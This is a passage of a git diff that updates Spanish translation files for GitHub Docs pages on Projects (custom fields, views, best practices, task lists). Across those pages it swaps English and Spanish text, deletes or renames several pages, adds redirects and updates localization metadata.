80a894cdca5dda3afff3476a8209cb54589c89b5 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.openlocfilehash: 89e7ed2a98f1b29f26d268622b639a893ab0c552 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148110032' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159241' --- diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md index 428a693d45..2b8dd52bd8 100644 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md +++ b/translations/es-ES/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md @@ -1,6 +1,6 @@ --- -title: 'Acerca de {% data variables.product.prodname_projects_v2 %}' -intro: '{% data variables.product.prodname_projects_v2 %} es una herramienta adaptable y flexible para la planificación y el seguimiento del trabajo en {% data variables.product.company_short %}.' +title: 'About {% data variables.product.prodname_projects_v2 %}' +intro: '{% data variables.product.prodname_projects_v2 %} is an adaptable, flexible tool for planning and tracking work on {% data variables.product.company_short %}.' allowTitleToDifferFromFilename: true miniTocMaxHeadingLevel: 3 versions: @@ -10,45 +10,52 @@ redirect_from: type: overview topics: - Projects -ms.openlocfilehash: 4de4e96b6e445a29377c63188f6529c5b2023a5e -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109891' --- -## Acerca de {% data variables.product.prodname_projects_v2 %} -Un proyecto es una hoja de cálculo adaptable que se integra con las incidencias y solicitudes de incorporación de cambios en {% data variables.product.company_short %} para ayudarte a planear y realizar el seguimiento del trabajo de forma eficaz. Puedes crear y personalizar varias vistas mediante el filtrado, la ordenación y la agrupación de las incidencias y solicitudes de incorporación de cambios, la adición de campos personalizados para realizar el seguimiento de metadatos específicos del equipo y visualizar el trabajo con gráficos configurables. En lugar de aplicar una metodología específica, un proyecto proporciona características flexibles que puedes personalizar en función de las necesidades y los procesos del equipo. +## About {% data variables.product.prodname_projects_v2 %} -### Mantenerse actualizado +A project is an adaptable spreadsheet that integrates with your issues and pull requests on {% data variables.product.company_short %} to help you plan and track your work effectively. You can create and customize multiple views by filtering, sorting, grouping your issues and pull requests, adding custom fields to track metadata specific to your team, and visualize work with configurable charts. Rather than enforcing a specific methodology, a project provides flexible features you can customize to your team’s needs and processes. -Los proyectos se crean a partir de las incidencias y las solicitudes de incorporación de cambios que agregas, lo que crea referencias directas entre el proyecto y el trabajo. La información se sincroniza automáticamente con el proyecto a medida que realizas cambios, y se actualizan las vistas y los gráficos. Esta integración es bidireccional, por lo que, cuando cambies la información sobre una solicitud de incorporación de cambios o incidencia del proyecto, la solicitud de incorporación de cambios o la incidencia reflejará la información. Por ejemplo, si cambias un usuario asignado en el proyecto, ese cambio se muestra en la incidencia. Puedes ampliar aún más esta integración, agrupar el proyecto por usuario asignado y realizar cambios en la asignación de incidencias si las arrastras a los distintos grupos. +### Staying up-to-date -### Agregar metadatos a tus tareas +Your projects are built from the issues and pull requests you add, creating direct references between your project and your work. Information is synced automatically to your project as you make changes, updating your views and charts. This integration works both ways, so that when you change information about a pull request or issue in your project, the pull request or issue reflects that information. For example, change an assignee in your project and that change is shown in your issue. You can take this integration even further, group your project by assignee, and make changes to issue assignment by dragging issues into the different groups. -Puedes usar campos personalizados para agregar metadatos a las tareas y crear una vista más completa de los atributos de elemento. No estás limitado a los metadatos integrados (usuarios asignados, hitos, etiquetas, etc.) que existen actualmente para las incidencias y las solicitudes de incorporación de cambios. Por ejemplo, puedes agregar los siguientes metadatos como campos personalizados: +### Adding metadata to your items -- Campo de fecha para realizar un seguimiento de las fechas de envío de destino. -- Campo numérico para realizar un seguimiento de la complejidad de una tarea. -- Un único campo de selección para realizar un seguimiento de si una tarea es baja, media o alta prioridad. -- Un campo de texto para agregar una nota rápida. -- Un campo de iteración para planear el trabajo semana a semana, incluida la compatibilidad con interrupciones. +You can use custom fields to add metadata to your issues, pull requests, and draft issues and build a richer view of item attributes. You’re not limited to the built-in metadata (assignee, milestone, labels, etc.) that currently exists for issues and pull requests. For example, you can add the following metadata as custom fields: -### Visualizar tu proyecto desde perspectivas diferentes +- A date field to track target ship dates. +- A number field to track the complexity of a task. +- A single select field to track whether a task is Low, Medium, or High priority. +- A text field to add a quick note. +- An iteration field to plan work week-by-week, including support for breaks. -Responde rápidamente a las preguntas más urgentes mediante la adaptación de la vista del proyecto para que proporcione la información que necesitas. Puedes guardar estas vistas, lo que te permite volver rápidamente a ellas según sea necesario y ponerlas a disposición del equipo. Las vistas no solo permiten limitar el ámbito de los elementos enumerados, sino que también ofrecen dos opciones de diseño diferentes. +{% ifversion projects-v2-tasklists %} -Puedes ver tu proyecto como un diseño de tabla de densidad alta: +### Exploring the relationships between issues -![Tabla de proyectos](/assets/images/help/issues/projects_table.png) +{% data reusables.projects.tasklists-release-stage %} -O como un tablero: +You can use Tasklists to build hierarchies of issues, dividing your issues into smaller subtasks, and creating new relationships between your issues. For more information, see "[About Tasklists](/issues/tracking-your-work-with-issues/about-tasklists)." -![Tablero de proyectos](/assets/images/help/issues/projects_board.png) +These relationships are displayed on the issue, as well as the Tracked-by and Tracks fields in your projects. You can filter by issues which are tracked by another issue, and you can also group your table views by the Tracked-by field to show all parent issues with a list of their subtasks. -Para ayudar a que te enfoques en aspectos específicos de tu proyecto, puedes agrupar, clasificar o filtrar elementos: +{% endif %} -![Vista de proyecto](/assets/images/help/issues/project_view.png) +### Viewing your project from different perspectives -Para más información, consulta "[Personalización de una vista](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view)". +Quickly answer your most pressing questions by tailoring your project view to give you the information you need. You can save these views, allowing you to quickly return to them as needed and make them available to your team. Views not only let you scope down the items listed but also offer two different layout options. + +You can view your project as a high density table layout: + +![Project table](/assets/images/help/issues/projects_table.png) + +Or as a board: + +![Project board](/assets/images/help/issues/projects_board.png) + +To help you focus on specific aspects of your project, you can group, sort, or filter items: + +![Project view](/assets/images/help/issues/project_view.png) + +For more information, see "[Customizing a view](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view)." diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md index bc5b255031..d4b43453e0 100644 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md +++ b/translations/es-ES/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md @@ -1,6 +1,6 @@ --- -title: 'Best practices for {% data variables.product.prodname_projects_v2 %}' -intro: Learn tips for managing your projects. +title: 'Procedimientos recomendados para {% data variables.product.prodname_projects_v2 %}' +intro: Aprende sugerencias para administrar los proyectos. allowTitleToDifferFromFilename: true miniTocMaxHeadingLevel: 3 versions: @@ -12,72 +12,77 @@ topics: - Projects - Issues - Project management +ms.openlocfilehash: 1473e08a8a6d3bf4df480b4b5ce6930753a04491 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106769' --- +Puedes usar {% data variables.product.prodname_projects_v2 %} para administrar tu trabajo en {% data variables.product.company_short %}, donde se encuentran tus incidencias y solicitudes de incorporación de cambios. Lee los tips para administrar tus proyectos de forma eficaz y eficiente. Para más información sobre {% data variables.product.prodname_projects_v2 %}, consulta "[Acerca de {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects)". -You can use {% data variables.product.prodname_projects_v2 %} to manage your work on {% data variables.product.company_short %}, where your issues and pull requests live. Read on for tips to manage your projects efficiently and effectively. For more information about {% data variables.product.prodname_projects_v2 %}, see "[About {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects)." +## Desglosa las propuestas grandes en unas más pequeñas -## Break down large issues into smaller issues +El desglosar una propuesta grande en propuestas más pequeñas hace el trabajo más administrable y habilita a los miembros del equipo para que trabajen en paralelo. Esto también conlleva a tener solicitudes de cambios más pequeñas, las cuales se pueden revisar con mayor facilidad. -Breaking a large issue into smaller issues makes the work more manageable and enables team members to work in parallel. It also leads to smaller pull requests, which are easier to review. +Para rastrear cómo las propuestas más pequeñas encajan en una meta más grande, utiliza listas de tareas, hitos o etiquetas. Para obtener más información, consulte "[Acerca de las listas de tareas](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)", "[Acerca de los hitos](/issues/using-labels-and-milestones-to-track-work/about-milestones)" y "[Administración de etiquetas](/issues/using-labels-and-milestones-to-track-work/managing-labels)". -To track how smaller issues fit into the larger goal, use task lists, milestones, or labels. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)", "[About milestones](/issues/using-labels-and-milestones-to-track-work/about-milestones)", and "[Managing labels](/issues/using-labels-and-milestones-to-track-work/managing-labels)." +## Comunicarse -## Communicate +Las propuestas y solicitudes de cambio incluyen características integradas que te permiten comunicarte fácilmente con tus colaboradores. Use @mentions para alertar a una persona o a todo el equipo sobre un comentario. Asigna colaboradores a las propuestas para comunicar las responsabilidades. Enlaza las propuestas o solicitudes de cambio relacionadas para comunicar cómo están conectadas. -Issues and pull requests include built-in features to let you easily communicate with your collaborators. Use @mentions to alert a person or entire team about a comment. Assign collaborators to issues to communicate responsibility. Link to related issues or pull requests to communicate how they are connected. +## Utilizar la descripción y el README -## Make use of the description and README +Utiliza la descripción y el README de tu proyecto para compartir información sobre este. -Use your project's description and README to share information about the project. +Por ejemplo: -For example: +- Para explicar el propósito del proyecto. +- Para describir las vistas del proyecto y cómo utilizarlas. +- Para incluir enlaces relevantes y personas a contactar para recibir más información. -- Explaining the purpose of the project. -- Describing the project views and how to use them. -- Including relevant links and people to contact for more information. +Los README de los proyectos son compatibles con el lenguaje de marcado, lo cual te permite utilizar imágenes y formatos avanzados, tales como enlaces, listas y encabezados. -Project READMEs support Markdown which allows you to use images and advanced formatting such as links, lists, and headers. +Para más información, consulta "[Creación de una instancia de {% data variables.projects.project_v2 %}](/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project)". -For more information, see "[Creating a {% data variables.projects.project_v2 %}](/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project)." +## Utiliza las vistas -## Use views +Utiliza las vistas de proyecto para mirarlo desde diferentes ángulos. -Use project views to look at your project from different angles. +Por ejemplo: -For example: +- Filtra por estado para ver los elementos que no se marcaron como favoritos +- Agrupar por un campo de prioridad personalizado para monitorear el volumen de los elementos de prioridad alta +- Ordena por un campo personalizado de fecha para ver los elementos con la fecha de envío destino más cercana -- Filter by status to view all un-started items -- Group by a custom priority field to monitor the volume of high priority items -- Sort by a custom date field to view the items with the earliest target ship date +Para más información, consulta "[Personalización de una vista](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view)". -For more information, see "[Customizing a view](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view)." +## Ten una fuente única de la verdad -## Have a single source of truth +Para prevenir que la información se desincronice, manten una fuente única de verdad. Por ejemplo, rastrea una fecha de envío destino en una sola ubicación en vez de que se propague a través de campos múltiples. Posteriormente, si la fecha de envío destino cambia, solo necesitas actualizar la fecha en una ubicación. -To prevent information from getting out of sync, maintain a single source of truth. For example, track a target ship date in a single location instead of spread across multiple fields. Then, if the target ship date shifts, you only need to update the date in one location. +Las instancias de {% data variables.product.prodname_projects_v2 %} se mantienen actualizadas de forma automática con los datos de {% data variables.product.company_short %}, como usuarios asignados, hitos y etiquetas. Cuando uno de estos campos cambia en una propuesta o solicitud de cambios, este cambio se refleja automáticamente en tu proyecto. -{% data variables.product.prodname_projects_v2 %} automatically stay up to date with {% data variables.product.company_short %} data, such as assignees, milestones, and labels. When one of these fields changes in an issue or pull request, the change is automatically reflected in your project. +## Utiliza la automatización -## Use automation +Puedes automatizar las tareas para pasar menos tiempo ocupado en el trabajo y más en el proyecto mismo. Entre menos tengas que recordar para hacer manualmente, será más probable que tu proyecto se mantenga actualizado. -You can automate tasks to spend less time on busy work and more time on the project itself. The less you need to remember to do manually, the more likely your project will stay up to date. +{% data variables.product.prodname_projects_v2 %} ofrece flujos de trabajo integrados. Por ejemplo, cuando se cierra una propuesta, puedes configurar el estado automáticamente a "Hecho". {% ifversion projects-v2-auto-archive %}También puedes configurar los flujos de trabajo integrados para que se archiven elementos automáticamente cuando cumplan unos determinados criterios.{% endif %} -{% data variables.product.prodname_projects_v2 %} offers built-in workflows. For example, when an issue is closed, you can automatically set the status to "Done." {% ifversion projects-v2-auto-archive %}You can also configure built-in workflows to automatically archive items when they meet certain criteria.{% endif %} +Adicionalmente, {% data variables.product.prodname_actions %} y la API de GraphQL te permiten automatizar las tareas rutinarias de administración de proyectos. Por ejemplo, para hacer un seguimiento de las solicitudes de incorporación de cambios que están esperando una revisión, puede crear un flujo de trabajo que agregue una solicitud de incorporación de cambios a un proyecto y configure el estado en "needs review" (necesita revisión). Este proceso se puede activar automáticamente al marcar una solicitud de incorporación de cambios como "ready for review" (lista para la revisión). -Additionally, {% data variables.product.prodname_actions %} and the GraphQL API enable you to automate routine project management tasks. For example, to keep track of pull requests awaiting review, you can create a workflow that adds a pull request to a project and sets the status to "needs review"; this process can be automatically triggered when a pull request is marked as "ready for review." +- Para obtener más información sobre los flujos de trabajo integrados, consulta "[Uso de las automatizaciones integradas](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations)".{% ifversion projects-v2-auto-archive %} +- Para obtener más información sobre cómo archivar elementos automáticamente, consulta "[Archivado automático de elementos](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically)".{% endif %} +- Para obtener un flujo de trabajo de ejemplo, consulta "[Automatización de {% data variables.product.prodname_projects_v2 %} mediante acciones](/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions)". +- Para más información sobre la API, consulta "[Uso de la API para administrar {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects)". +- Para obtener más información sobre {% data variables.product.prodname_actions %}, consulte "[{% data variables.product.prodname_actions %}](/actions)". -- For more information about the built-in workflows, see "[Using the built-in automations](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations)."{% ifversion projects-v2-auto-archive %} -- For more information about automatically archiving items, see "[Archiving items automatically](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically)."{% endif %} -- For an example workflow, see "[Automating {% data variables.product.prodname_projects_v2 %} using Actions](/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions)." -- For more information about the API, see "[Using the API to manage {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects)." -- For more information about {% data variables.product.prodname_actions %}, see ["{% data variables.product.prodname_actions %}](/actions)." +## Utilizar tipos de campo diferentes -## Use different field types +Toma ventaja de los diversos tipos de campo para satisfacer tus necesidades. -Take advantage of the various field types to meet your needs. +Utiliza el campo de iteración para programar trabajo o crear una línea de tiempo. Puedes agrupar por iteración para ver si los elementos se balancean entre iteraciones o puedes filtrarlos para enfocarte en una iteración simple. Los campos de iteración también te permiten ver el trabajo que completaste en las iteraciones pasadas, lo cual puede ayudarte con la planeación rápida y puede reflejar los logros de tu equipo. Los campos de iteración también son compatibles con pausas para mostrar cuándo tú y tu equipo toman un descanso de ellas. Para más información, consulta "[Acerca de los campos de iteración](/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields)". -Use an iteration field to schedule work or create a timeline. You can group by iteration to see if items are balanced between iterations, or you can filter to focus on a single iteration. Iteration fields also let you view work that you completed in past iterations, which can help with velocity planning and reflecting on your team's accomplishments. Iteration fields also support breaks to show when you and your team are taking time away from their iterations. For more information, see "[About iteration fields](/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields)." +Utiliza un campo de selección simple para rastrear la información de una tarea con base en una lista de valores preconfigurados. Por ejemplo, rastrea la prioridad o fase de un proyecto. Ya que los valores se seleccionan desde una lista preconfigurada, puedes agrupar, filtrar o enfocarte fácilmente en elementos con un valor específico. -Use a single select field to track information about a task based on a preset list of values. For example, track priority or project phase. Since the values are selected from a preset list, you can easily group or filter to focus on items with a specific value. - -For more information about the different field types, see "[Understanding field types](/issues/planning-and-tracking-with-projects/understanding-field-types)." +Para más información sobre los diferentes tipos de campo, consulta "[Descripción de los tipos de campo](/issues/planning-and-tracking-with-projects/understanding-field-types)". diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields.md deleted file mode 100644 index db2f11d7bf..0000000000 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Eliminación de campos -intro: 'Aprende a eliminar un campo de la instancia de {% data variables.projects.project_v2 %}.' -miniTocMaxHeadingLevel: 3 -versions: - feature: projects-v2 -type: tutorial -topics: - - Projects -ms.openlocfilehash: 2998d4d39a3ec5f59a649fe62fd15c974e1e7ff7 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109958' ---- -{% data reusables.projects.project-settings %} -1. Haz clic en el nombre del campo que quieras eliminar. - ![Captura de pantalla en la que se muestra un campo de iteración](/assets/images/help/projects-v2/select-single-select.png) -1. Junto al nombre del campo, haz clic en {% octicon "kebab-horizontal" aria-label="The menu icon" %} para abrir el menú. - ![Captura de pantalla en la que se muestra el nombre del campo](/assets/images/help/projects-v2/field-options.png) -1. Haz clic en **Eliminar campo**. - ![Captura de pantalla en la que se muestra el nombre del campo](/assets/images/help/projects-v2/delete-field.png) diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/index.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/index.md deleted file mode 100644 index 781a7b2c86..0000000000 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Descripción de los tipos de campo -shortTitle: Understanding field types -intro: 'Obtén información sobre los diferentes tipos de campo personalizados, cómo agregar campos personalizados al proyecto y cómo administrarlos.' -versions: - feature: projects-v2 -topics: - - Issues - - Projects -children: - - /about-text-and-number-fields - - /about-date-fields - - /about-single-select-fields - - /about-iteration-fields - - /renaming-fields - - /deleting-fields -allowTitleToDifferFromFilename: true -ms.openlocfilehash: eaa9fe7d4dbd6b2c43d0ab2ad12faf173d6f571a -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109885' ---- - diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields.md deleted file mode 100644 index 2e9f7897c7..0000000000 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Cambio de nombre de campos -intro: 'Aprende a cambiar el nombre de los campos existentes en las instancias de {% data variables.projects.project_v2 %}.' -miniTocMaxHeadingLevel: 3 -versions: - feature: projects-v2 -type: tutorial -topics: - - Projects -ms.openlocfilehash: a8e43cc14edf9dd0c6838d8f75839a2c0624a7a5 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109913' ---- -{% data reusables.projects.project-settings %} -1. Haz clic en el nombre del campo que quieras cambiar de nombre. - ![Captura de pantalla en la que se muestra un campo de iteración](/assets/images/help/projects-v2/select-single-select.png) -1. En "Nombre de campo", escribe el nuevo nombre para el campo. - ![Captura de pantalla en la que se muestra el nombre del campo](/assets/images/help/projects-v2/field-rename.png) -1. Para guardar los cambios, presiona Intro. diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md similarity index 82% rename from translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields.md rename to translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md index 6a5dd371d9..9127f501ac 100644 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields.md +++ b/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md @@ -8,12 +8,14 @@ versions: type: tutorial topics: - Projects -ms.openlocfilehash: 7c3bc45c036e209e0be682c3b13b9dafcba17885 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +redirect_from: + - /issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields +ms.openlocfilehash: d6057212941db8d20ed49f240052e5ad0fc8eb80 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148110061' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160099' --- Puedes filtrar los valores de fecha con el formato `YYYY-MM-DD`, por ejemplo: `date:2022-07-01`. También puedes usar operadores como `>`, `>=`, `<`, `<=` y `..`. Por ejemplo, `date:>2022-07-01` y `date:2022-07-01..2022-07-31`. También puedes proporcionar `@today` para representar el día actual en el filtro. Para obtener más información, consulta "[Filtrar proyectos](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects)". diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md similarity index 96% rename from translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields.md rename to translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md index 74af2a256a..33323b1145 100644 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields.md +++ b/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md @@ -7,15 +7,16 @@ versions: feature: projects-v2 redirect_from: - /issues/trying-out-the-new-projects-experience/managing-iterations + - /issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields type: tutorial topics: - Projects -ms.openlocfilehash: 93039327ab7075e0f79c9d5ae5d6652aa635a500 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.openlocfilehash: ae598dc481c54adfb817e110794f43f0f80a7c16 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148110136' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159892' --- Puedes crear un campo de iteración para asociar elementos con bloques de tiempo de repetición específicos. Las iteraciones se pueden establecer en cualquier período de tiempo, pueden incluir saltos y se pueden editar individualmente para modificar el nombre y el intervalo de fechas. Con los proyectos, puedes agrupar por iteración para visualizar el equilibrio de los trabajos futuros, usar filtros para centrarte en una sola iteración y ordenar por iteración. diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md similarity index 89% rename from translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields.md rename to translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md index cc3326a4de..fc53910fcf 100644 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields.md +++ b/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md @@ -8,12 +8,14 @@ versions: type: tutorial topics: - Projects -ms.openlocfilehash: 1dfb11e43de04bd55f544a9fb97a0a9346a22d96 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +redirect_from: + - /issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields +ms.openlocfilehash: b401f11502185527444cd72fa3264fda51465116 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109957' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160356' --- Puedes filtrar por los campos de selección única si especificas la opción, por ejemplo: `fieldname:option`. Puedes filtrar por varios valores si proporcionas una lista de opciones separadas por comas, por ejemplo: `fieldname:option,option`. Para obtener más información, consulta "[Filtrar proyectos](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects)". diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md similarity index 87% rename from translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields.md rename to translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md index b94301be94..9c4e080a60 100644 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields.md +++ b/translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md @@ -8,12 +8,14 @@ versions: type: tutorial topics: - Projects -ms.openlocfilehash: 2ef01bbd4ec13e37fdcd95e2a536e73c6da2304d -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +redirect_from: + - /issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields +ms.openlocfilehash: 531931f74afd1d4fdc206002742d8d27bca67dc4 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109960' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160091' --- Puedes usar campos de texto para incluir notas o cualquier otro texto de forma libre en el proyecto. diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/about-task-lists.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/about-task-lists.md deleted file mode 100644 index d01d993600..0000000000 --- a/translations/es-ES/content/issues/tracking-your-work-with-issues/about-task-lists.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Acerca de las listas de tareas -intro: Puedes utilizar listas de tareas para desglosar el trabajo de una propuesta o solicitud de cambios en tareas más pequeñas y luego rastrear el conjunto de trabajos completo hasta que se finalicen. -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-task-lists - - /articles/about-task-lists - - /github/managing-your-work-on-github/about-task-lists - - /issues/tracking-your-work-with-issues/creating-issues/about-task-lists -versions: - fpt: '*' - ghes: '*' - ghae: '*' - ghec: '*' -topics: - - Pull requests - - Issues -ms.openlocfilehash: 0d6973dfe6fbd59d945602423621918a600b15d7 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '146179515' ---- -{% ifversion fpt or ghec %} {% note %} - -**Nota:** Las listas de tareas mejoradas actualmente se encuentran en versión beta y están sujetas a cambios. - -{% endnote %} {% endif %} - -## Acerca de las listas de tareas - -Una lista de tareas es un conjunto de tareas que se interpretan independientemente en una lína separada con una casilla de verificación seleccionable. Puedes seleccionar o deseleccionar estas casillas de verificación para marcar las tareas como completas o incompletas. - -Puedes utilizar el lenguaje de marcado para crear una lista de tareas en cualquier comentario en {% data variables.product.product_name %}. {% ifversion fpt or ghec %}Si haces referencia a una incidencia, una solicitud de incorporación de cambios o un debate en una lista de tareas, la referencia se desplegará para mostrar el título y el estado.{% endif %} - -{% ifversion not fpt or ghec %} Puedes ver la información del resúmen de la lista de tareas en las listas de una propuesta y una solicitud de incorporación de cambios, cuando la lista de tareas está en el comentario inicial. -{% else %} - -## Acerca de las listas de tareas para propuestas - -Si agregas una lista al cuerpo de una tarea, esta tendrá una funcionalidad agregada. - -- Para ayudarte a rastrear el trabajo de tu equipo en una propueta, el rpogreso de una lista de tareas de dicha propuesta aparecerá en varios lugares en {% data variables.product.product_name %}, tal como la lista de propuesta de un repositorio. -- Si una tarea referencia otra propuesta y alguien cierra dicha propuesta, la casilla de verificación de la tarea se marcará como completa automáticamente. -- Si se requiere más rastreo o debate, puedes convertir la tarea en una propuesta si deslizas el puntero del mouse sobre la tarea y haces clic en {% octicon "issue-opened" aria-label="The issue opened icon" %} en la esquina superior derecha de la misma. Para agregar más detalles antes de crear la propuesta, puedes utilizar los atajos de teclado para abrir un formato de propuesta nuevo. Para obtener más información, consulta "[Métodos abreviados de teclado](/github/getting-started-with-github/using-github/keyboard-shortcuts#issues-and-pull-requests)". -- Cualquier propuesta que se referencia en la lista de tareas especificará que se rastrean en la propuesta de referencia. - -![Lista de tareas 